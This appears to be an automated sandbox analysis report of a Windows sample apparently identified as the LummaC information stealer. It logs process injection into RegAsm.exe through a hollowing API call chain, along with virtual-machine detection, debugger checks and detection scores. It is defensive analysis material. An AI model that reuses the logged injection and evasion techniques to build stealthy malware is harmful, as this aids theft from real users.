Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401CDA	4_2_00401CDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401CA4	4_2_00401CA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00406D40	4_2_00406D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043CD60	4_2_0043CD60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040FD90	4_2_0040FD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401EE0	4_2_00401EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00422EE3	4_2_00422EE3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00422F52	4_2_00422F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041EF39	4_2_0041EF39

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: String function: 000F7EF0 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408E40 appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004095C0 appears 196 times

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 304

Source: mkFOY01Gl5.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/9@2/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0042F339 CoCreateInstance,

4_2_0042F339

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6056
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6176
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4499b26f-bbfc-47a7-9773-f6a26885698d

Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mkFOY01Gl5.exe	ReversingLabs: Detection: 68%
Source: mkFOY01Gl5.exe	Virustotal: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\mkFOY01Gl5.exe "C:\Users\user\Desktop\mkFOY01Gl5.exe"
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 1796
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: mkFOY01Gl5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: mkFOY01Gl5.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_000F76AD push ecx; ret

0_2_000F76C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5068

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_0010AA16 FindFirstFileExW,

0_2_0010AA16

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 00000004.00000002.2574481805.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2574481805.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_4-11821

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0043AAC0 LdrInitializeThunk,

4_2_0043AAC0

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_000FBA03 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000FBA03

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00106AF1 mov eax, dword ptr fs:[00000030h]	0_2_00106AF1
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00106B35 mov eax, dword ptr fs:[00000030h]	0_2_00106B35
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_00101FC4 mov ecx, dword ptr fs:[00000030h]	0_2_00101FC4

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_0010E15F GetProcessHeap,

0_2_0010E15F

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000F79C6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000F79C6
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000FBA03 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000FBA03
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000F7CC9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000F7CC9
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: 0_2_000F7E25 SetUnhandledExceptionFilter,	0_2_000F7E25

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_022C018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_022C018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

